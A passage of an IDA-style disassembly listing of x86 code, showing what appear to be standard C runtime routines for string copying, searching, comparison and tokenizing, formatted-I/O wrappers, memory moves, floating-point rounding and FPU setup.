		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE28


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE28, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE10
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE30, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D424, offset sub_4221D5
		mov	off_43D420, eax
		mov	off_43D428, offset sub_42223B
		mov	off_43D42C, offset sub_42217B
